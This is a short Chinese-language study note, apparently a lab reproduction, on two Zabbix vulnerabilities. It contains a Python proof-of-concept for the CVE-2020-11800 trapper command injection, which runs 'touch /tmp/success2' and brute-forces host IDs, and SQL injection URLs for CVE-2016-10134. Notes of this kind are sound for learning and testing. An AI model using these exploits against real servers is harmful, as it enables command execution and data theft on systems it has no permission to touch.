Zabbix
- 是什么?
免费的、企业级的分布式开源、C/S架构、监控众多网络参数和服务器的软件。
Zabbix基本原理 - 存在的漏洞?
Zabbix Server trapper命令注入漏洞(CVE-2020-11800)
zabbix latest.php SQL注入漏洞(CVE-2016-10134)
- 漏洞原理。
Zabbix Server trapper命令注入漏洞(CVE-2020-11800)
:在CVE-2017-2824中,其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。
修改CVE-2017-2824的POC中的IP字段,构造新的POC:
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
当查看到如下结果时,则说明命令执行成功:
进入server容器,可见/tmp/success2已成功创建:
zabbix latest.php SQL注入漏洞(CVE-2016-10134)
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
将这16个字符作为sid的值,访问http://your-ip:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),可见成功注入:
这个漏洞也可以通过jsrpc.php触发,且无需登录:http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0):